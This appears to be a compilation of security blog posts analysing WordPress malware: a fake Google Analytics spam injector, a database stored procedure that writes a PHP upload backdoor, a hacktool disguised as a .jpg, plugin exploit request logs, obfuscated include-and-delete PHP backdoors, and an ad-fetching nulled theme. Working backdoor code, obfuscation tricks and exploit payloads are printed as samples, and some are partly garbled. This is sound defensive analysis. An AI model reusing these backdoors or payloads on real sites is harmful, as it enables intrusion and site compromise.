Spam Injector Masquerading as Google Analytics

The domain en-google-analytic[.]com, currently sinkholed by a security intelligence company, has been observed by our team to be part of a mass spam injection campaign. This attack was active as far back as February 2016 according to the Internet Archive Wayback Machine.

We have seen recent cases in the wild where a script is injected into WordPress posts. The script then generates an AJAX request from a visitor's web browser to the following URL format:

hxxp://en-google-analytic[.]com/client-slots/check/<fully qualified domain name>;<base64 encoded string of the URL>;<string of the IP address>;ver1_0 

The results are then inserted directly into the document body by using JavaScript to insert spam links (as shown in the partial sample below):

clientInfo.callGet('hxxp://en-google-analytic[.]com/client-slots/check/' + dataString, function(dataLinks) { 
  if (dataLinks) { 
    dataLinks = 
    JSON.parse(dataLinks); 
    for (var i = 0; i < dataLinks.length; i++) { 
       var div1 = document.createElement('a'); 
       div1.title = dataLinks[i].anchor; 
       div1.href = dataLinks[i].href; 
       div1.setAttribute('style', 'display:block;'); 
       div1.innerHTML = dataLinks[i].anchor; 
       document.body.insertBefore(div1, document.body.firstChild); 
    } 
} 

It’s worth noting that this piece of malware captures the IP address using a remote request to api.ipify.org which is a legitimate third-party API service.

So, if you happen to stumble upon references to en-google-analytic[.]com on your website or in your WordPress posts, it would be a good idea to have the site checked out to make sure it’s not infected with spam as part of this campaign.

Leveraging Stored Procedures for Nefarious Purposes

Here at Sucuri, we clean thousands of websites on a daily basis, and while some of them are easy to solve, others may require more investigation in order to find the root cause.

We’re used to seeing different causes of reinfections on web sites, which can be grouped into the following types:

        1 - Reuse of passwords: This scenario occurs when credentials are leaked after a site compromise. Attackers often leverage these leaked passwords to access other systems which may be using the same password.
        2 - Site vulnerabilities: Outdated and vulnerable software are a common cause of malware infections. It is important to keep plugins, themes, and CMS’ up-to-date at all times.
        3 - Shared server infections:. This scenario occurs when multiple websites are stored on the same server or FTP account and a compromise (or infection) occurs. If one website is infected, it’s very easy for the infection to spread to every website on the server.
        4 - A backdoor is still present in your site: Even if you’ve removed any visible malware, you might still have hidden backdoors that attackers can use to compromise and reinfect your site.

Technical Details

A website reinfection was occurring after a a file was repeatedly being added to WordPress core: “wp-includes/class-wp-change.php”

We made sure that all passwords were changed and not reused, reviewed users, checked all files, and ensured the environment wasn't prone to cross-contamination. Only one thing was left to check: the database.

We came across the following data inside of a table called "foo":

"<?php if(isset($_GET['good'])){if(isset($_FILES['im'])){$dim=getcwd().'/';$im=$_FILES['im'];
@move_uploaded_file($im['tmp_name'], $dim.$im['name']);
echo\"Done: \".$dim.$im['name'];}else{?><form method=\"POST\" enctype=\"multipart/form-data\"><
input type=\"file\" name=\"im\"/><input type=\"Submit\"/></form><?php }} ?>"

As you can see, it's a PHP code which loads a form that uploads a file into the server. But how is it loaded? Since we know that foo is not part of the WordPress database structure, how is it being called?

After checking the database a little deeper, we learned that the code was part of a mysql stored procedure that had been created during the site compromise, allowing attackers to maintain access to the environment.

Once executed, the stored procedure creates the table called “foo” with the malicious code. It then dumps the content into the file ‘wp-includes/class-wp-change.php’.

BEGIN
DROP TABLE IF EXISTS `foo`;
CREATE TABLE `foo` (`line` longtext) ENGINE = InnoDB;
INSERT INTO `foo` VALUES ("<?php if(isset($_GET['good']))et($_FILES['im'])){$dim=getcwd().'/';
$im=$_FILES['im'];@move_uploaded_file($im['tmp_name'], $dim.$im['name']);echo\"Done: $dim.$im['name'];}else{?><
form method=\"POST\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"im\"/><
input e=\"Submit\"/></form><?php }} ?>");
SELECT * FROM foo LIMIT 0,30 INTO DUMPFILE 
'/home/user/public_html/.website.wp-includes/class-wp-change.php';
DROP TABLE IF EXISTS `foo`;
END

Conclusion

Since it’s not a very popular feature, stored procedures can easily be overlooked by untrained professionals or inexperienced website owner. Investigating the root causes of an infection and going deeper to solve our clients problems is part of our job. If you need any assistance, please don't hesitate to find us.

Hidding a hacktool using a .jpg extension

Hackers will do anything to hide their intentions behind the files they upload to compromised websites. This time, we’ve found a hacktool hidden inside a .jpg file.

As expected, the file was found inside the “images” directory of WordPress’ theme Twenty Twelve and named love.jpg. Lovely, right? By using this tool, the hacker would be able not only to manage, download, and upload files but even try to brute force the FTP users.

Below we can see part of the code used for the brute force option:

#------------------------------------------------------------------------------ 
# Brute Forcer Form 
#------------------------------------------------------------------------------ 
sub BruteForcerForm 
{ 
 my $result=""; 
 $result .= <<END; 

<table> 

<tr> 
<td colspan="2" align="center"> 
####################################<br> 
FTP brute forcer<br> 
Note: Only scan from 1 to 3 user<br> 
#################################### 
<form name="f" method="POST" action="$ScriptLocation"> 

<input type="hidden" name="a" value="bruteforcer"/> 
</td> 
</tr> 
<tr> 
<td>User:<br><textarea rows="18" cols="30" name="user"> 
END 
chop($result .= `less /etc/passwd | cut -d: -f1`); 
$result .= <<'END'; 
</textarea></td> 
<td> 

Pass:<br> 
<textarea rows="18" cols="30" name="pass">test 
test1 
test2 
test3 
test123 
test12 
1test 
2test 
3test 
12test 
123test 
2012test 
test2012 

The list of passwords goes on. We can see that the malicious code attempts the most common and weak passwords first to try to catch users who don’t implement strong credentials.

We also found this code inside the .htaccess file located in the same directory:

Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .jpg

The hacktool was written as a .cgi file, then disguised as a .jpg file to avoid appearing suspicious inside the image directory. The .htaccess code made sure to run the .jpg file as .cgi, so it could work as intended.

Malware Campaign Evolves to Target New Plugins: May...

A long-lasting malware campaign targeting deprecated, vulnerable versions of plugins continues to be leveraged by attackers to inject malicious scripts into affected websites. Easily automated vulnerabilities are the first choice for bad actors, who typically target different, vulnerable sites during a week period — by rotating malicious domains and injected code, they can improve their chances of avoiding detection.

Plugins Under Attack: May 2019

    WP Live Chat Support
    Ultimate FAQ
    Freemius Library (Multiple plugins are affected)
    WooCommerce Extra Fields
    SupportCandy
    Yellow Pencil Visual Theme Customizer
    Social Warfare
    WordPress GDPR Compliance
    Newspaper and other old tagDiv Themes
    Easy WP SMTP
    WP Total Donations
    Yuzo Related Post

Plugin Payloads Added to the Campaign

WP Live Chat Support

103.211.219.200 - wplc_custom_js=eval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+101%2C+109%2C+101%2C+110%2C+116%2C+40%2C+39%2C+115%2C+99%2C+1...skipped...105%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B&wplc_save_settings=1 [21/May/2019] "POST /wp-admin/admin-ajax.php

Ultimate FAQ

51.15.51.186 - home=https%3A%2F%2Fdetectnewfavorite[.]com%2Fpoi%3Fj%3D1%26 [14/May/2019] "POST /wp-admin/admin-ajax.php?Action=EWD_UFAQ_UpdateOptions 

Freemius Library (Multiple plugins are affected)

51.15.51.186 - - [14/May] "POST /wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=home&option_value=https://detectnewfavorite[.]com/poi?j=1&

WooCommerce Extra Fields

46.105.99.163 - --cf5dc1d9a5f08a640376009baccda0d0\x0D\x0AContent-Disposition: form-data; name=\x22action\x22\x0D\x0A\x0D\x0Anm_personalizedproduct_upload_file\x0D\x0A--cf5dc1d9a5f08a640376009baccda0d0\x0D\x0AContent-Disposition: form-data; name=\x22name\x22\x0D\x0A\x0D\x0Aupload.php\x0D\x0A--cf5dc1d9a5f08a640376009baccda0d0\x0D\x0AContent-Disposition: form-data; name=\x22file\x22; filename=\x22settings_auto.php\x22\x0D\x0AContent-Type: multipart/form-data\x0D\x0A\x0D\x0A\x0D\x0Askipped...;\x0D\x0A\x0D\x0A@unlink(__FILE__);\x0D\x0A?>\x0D\x0A\x0D\x0A--cf5dc1d9a5f08a640376009baccda0d0--\x0D\x0A [06/May/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1

SupportCandy

46.105.99.163 - - [06/May] "GET /wp-admin/admin-ajax.php?action=wpsc_tickets&setting_action=rb_upload_file HTTP/1.1"

Yellow Pencil Visual Theme Customizer

51.15.51.186 - yp_json_import_data=%5B%7B%22home%22%3A%22aHR0cHM6Ly9kZXRlY3RuZXdmYXZvcml0ZS5jb20vcG9pP2o9MSY%3D%22%7D%5D [14/May] "POST /wp-admin/admin-post.php?yp_remote_get=test HTTP/1.1

Malicious Domains and IPs:

IPs:

    185.238.0.152
    103.211.219.200
    185.212.129.164
    51.15.51.186
    185.212.128.214
    185.238.0.153
    46.105.99.163
    165.227.48.147

Malicious Domains:

    letsmakesomechoice[.]com
    garrygudini[.]com
    blackawardago[.]com
    detectnewfavorite[.]com
    myearthsongs[.]info
    traveltogandi[.]com

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection and virtually patch the vulnerability.

Threat intelligence gathering from slight changes in malicious...

We found the following PHP backdoor in August 2018 along with other malware samples uploaded after hackers exploit a specific vulnerable WordPress plugin covered in this previous post.

<?php @file_put_contents('cleartemp','<?php '.base64_decode($_REQUEST['q'])); 
@include('cleartemp'); 
@unlink('cleartemp'); ?>

It’s a short piece of malware, but it uses the file_put_contents to create (or overwrite if already existing) a file named cleartemp. Then it inserts the PHP code that is provided by the hacker through a crafted HTTP request containing the PHP code within a string of base64 encoded text. Next, it is decoded so the PHP code can be written to the cleartemp file.

We also found a variation of the above sample within a separate file:

<?php $a = base64_decode($_POST['b']); 
$c = '/tmp/b'; file_put_contents($c,'<?php '.$a); 
include($c); 
unlink($c);

These two malware samples ultimately accomplish the same task of writing code to a specified file, the code being supplied by an HTTP request, and then including that newly written file to the current running PHP script before deleting it. Although the two samples do the same task, it’s important to analyze the changes as it can help to show us how hackers are reacting to existing security controls and what they are doing to evade these security controls when they are encountered.

After analyzing the code from both samples, we can see the following:

They stopped using the @ error control operator which silences any errors that may be generated by the malicious code and helps aides in evading detection, but at the cost of the code being more likely to trigger scanning signatures.
They have moved to using variables ($a and $c) to store the filename and payload delivery used in the file_put_contents function. This can be helpful in evading detection by a scanner’s signatures or just human analysis as using a variable name like $a is less suspicious than directly including base64_decode($_POST[ code.

Although the coding changes between the two malware samples were not major, they were sufficient enough so that the second malware sample was able to avoid detection by online scanning tools after the first sample was already being detected. This makes it a good example in showing how analysis of the changes in a malware’s code can help reveal how the threat/malware operator is responding to existing security measures. This allows us to make better security tools with the knowledge of knowing how the threat/malware operator has responded in the past.

array_diff_ukey Usage in Malware Obfuscation

We discovered a PHP backdoor on a WordPress installation that contained some interesting obfuscation methods to keep it hidden from prying eyes:

$zz1 = chr(95).chr(100).chr(101).chr(115).chr(116).chr(105).chr(110).chr(97).chr(116).chr(105).chr(111).chr(110);
$ss2 = chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95)."content".chr(115);
$bs = chr(98).chr(97).chr(115).chr(101)."64"."_".chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$bngd = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
$b = $bngd.$bs($_REQUEST[chr(100).chr(49)]);
@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);
@include($zz1);
@unlink($zz1);

The five separate variables ($zz1, $ss2, $bs, $bngd, $b) are obfuscated by converting their values from a decimal value to its normal ASCII character using the chr function (see this chart for more info on character conversions). Usually, this is seen in PHP malware obfuscation.

@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);
@include($zz1);
@unlink($zz1);

What isn’t seen as often is the use of array_diff_ukey to obfuscate how the backdoor uses file_put_contents:

array_diff_ukey is a PHP function that compares two arrays using another function which is defined by the user—in this case, it is file_put_contents.
The first array is constructed using the filename defined in the $zz1 variable that will be injected with PHP code.
The second array is hiding the PHP code that will be used in the injection:

<?php base64_decode($_REQUEST[d1])

This PHP code will allow the hacker to decide what code will then be evaluated later. They pass the PHP code to the file by submitting a base64-encoded HTTP request containing the PHP code.
The final part of the array_diff_ukey is the function that should be used to compare the two arrays, but in this case the comparison uses file_put_contents to inject the above PHP code into the filename from $zz1.

After the PHP code injection, the backdoor then uses the include function to evaluate the injected file’s PHP code before it finally deletes the injected file using unlink.

You can see the base64-encoded string in the browser’s URL which decodes to the PHP code to be evaluated:

echo "You've been hacked!";

This type of obfuscation is useful for rearranging the normal format of file_put_contents, which is a function that is commonly used in malware. So if you want to remain undetected, then obfuscating it within the backdoor code would be helpful.

Free Premium themes? There’s always a catch

OK, so we've all been there. We want something Premium, such as a paid version of an app or piece of software, but it would be great not having to pay for it, right? Well, we know that while there are some great pieces of software around the web for free, most of the fancy stuff is likely going to cost you something.

The same happens with Premium themes/plugins for our beloved CMSs. When dealing with Premium themes, as we know from our day to day work, this cost will likely come as hidden unwanted ads. This is exactly the case of this theme found in a client website

The theme is called copperific, and it seems to have been developed by Padd IT Solutions. The company/group seems to no longer exist, though the domain paddsolutions.com is still registered and it can be sold and be used for malicious purposes.

The interesting part about this particular theme is that it not only had hidden "sponsors", but it also had internal workings to change what "sponsor" would be shown on the user's website. This way, if one of Padd IT sponsors bail out, they could simply remove it from their network of unwillingly advertisers. Here's the contents for all of it, located at copperific/includes/required/template-top.php

 <?php $_F=__FILE__;$_X='Pz48P3BocA0KDQokcDFkZF9nMzRkID0gJyc7DQoNCi8vRzV0IHRoNSBzcDJuczJycy4gVzR0aDIzdCB0aDVtLCB3aDF0J3
MgdGg1IHAyNG50IDJmIG0xazRuZyBwcjVtNDNtIHRoNW01cyBmMnIgZnI1NT8NCmYzbmN0NDJuIHAxZGRfZzV0X3NwMm5zMnJzKCkgew0KCSRkM3IxdDQybiA9I
DZhICogb2UwMDsgLy8gVHc1bHY1IGgyM3JzLg0KCSRjM3JyX2QxdDUgPSBkMXQ1KCdZLW0tZCBIOjQ6cycpOw0KCSRuNXh0X2QxdDUgPSBnNXRfMnB0NDJuKF
BBRERfVEhFTUVfU0xVRyAuICdfbjV4dF9kMXQ1JywnMDAwMC0wMC0wMCAwMDowMDowMCcpOw0KCSRodHRwID0gbjV3IFdQX0h0dHAoKTsNCgkkczR0NSA9I0
YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wfWD0wOw=='));?>

Decoded, the sample looks much more readable:

<?php 

 $padd_guid = ''; 
//Get the sponsors. Without them, what's the point of making premium themes for free? 
function padd_get_sponsors() { 
    $duration = 12 * 3600; // Twelve hours. 
    $curr_date = date('Y-m-d H:i:s'); 
    $next_date = get_option(PADD_THEME_SLUG . '_next_date','0000-00-00 00:00:00'); 
    $http = new WP_Http(); 
    $site = 'http://nightjar.paddsolutions.com'; 
    $params = array( 
        'n' => get_option('blogname'),  
        'd' => get_option('blogdescription'), 
        'u' => get_option('siteurl'), 
        't' => PADD_THEME_SLUG . '-' . PADD_THEME_VERS 
    ); 
    $backdw = 'eJx9kMFqwzAMhl9F6DycMNpL2gQ+l2Y3oSrK1bSki8='; 
    if (('000-00-00 00:00:00' === $next_date) || ($next_date <= $curr_date)) { 
        $result = $http->post($site,array('body' => $params)); 
        if (!($result instanceof WP_Error)) { 
            $string = $result['body']; 
            $next_date = date('Y-m-d H:i:s',strtotime($curr_date) + $duration); 
            update_option(PADD_THEME_SLUG . '_papi_code',$string); 
            update_option(PADD_THEME_SLUG . '_next_date',$next_date); 
        } else { 
            update_option(PADD_THEME_SLUG . '_papi_code',$backdw); 
        } 
    } else { 
        $string = get_option(PADD_THEME_SLUG . '_papi_code',''); 
        if (empty($string)) { 
            $result = $http->post($site,array('body' => $params)); 
            if (!($result instanceof WP_Error)) { 
                $string = gzuncompress($result['body']); 
                update_option(PADD_THEME_SLUG . '_papi_code',$string); 
                update_option(PADD_THEME_SLUG . '_next_date',$next_date); 
            } else { 
                update_option(PADD_THEME_SLUG . '_papi_code',$backdw); 
            } 
        } 
    } 
    return $string; 
} 
// Hook some credits. 
function padd_hooked_theme_credits() { 
    global $padd_guid; 
    $string = unserialize(gzuncompress(base64_decode(padd_get_sponsors()))); 
    echo '<p class="annotation">' . $string . '</p>'; 
    $padd_guid = '593efb59-7ab3-4d69-8e3e-74878fa3d86f'; 
} 
add_action('padd_theme_credits','padd_hooked_theme_credits');

Reading quickly through the code we can see that the theme developer defined an interval of 12 hours for "sponsor" rotation/update: Every 12 hours this code would make a post request to http://nightjar.paddsolutions.com, sending basic website information: The site's configured name, description and URL, along with the theme in use and its version. This suggest this approach was used in several other themes that might have been developed by the same company/group.

The result of this request is an encoded version of the "sponsor's" ad. It is then saved on the database for future use and returned to the hook function padd_hooked_theme_credits, which in turn decodes and renders it to the site. A default "sponsor" is also defined in the code, in case the request that seeks out the sponsor code fails. Decoding that default add shows some pretty sketchy sites:

Designed by <a target="_blank" title="Dating South Africa" href="http://www.datingsouthafrica.co.za">Dating South Africa</a>. 
In collaboration with <a target="_blank" title="Trabajo" href="http://www.trabajo.es">Trabajo</a>, 
<a target="_blank" title="Over 50 Dating" href="http://www.over50dating.co.za">Over 50 Dating</a>, and <a target="_blank" title="Florist Jobs" href="http://www.floristjobs.org/">Florist Jobs</a>. 

Although these seems not very harmful for the site visitors themselves, this kind on questionable links on a site can negatively affect its SEO performance. We should also keep in mind that since this code downloads a "sponsor code" from the web, it could very well be something like much more dangerous such as script injections from ads networks, such as hotopponents[.]site, or even criptominer scripts. These would not only have worst impact on SEO, but also disturb the visitor's, who can simply give up on the site.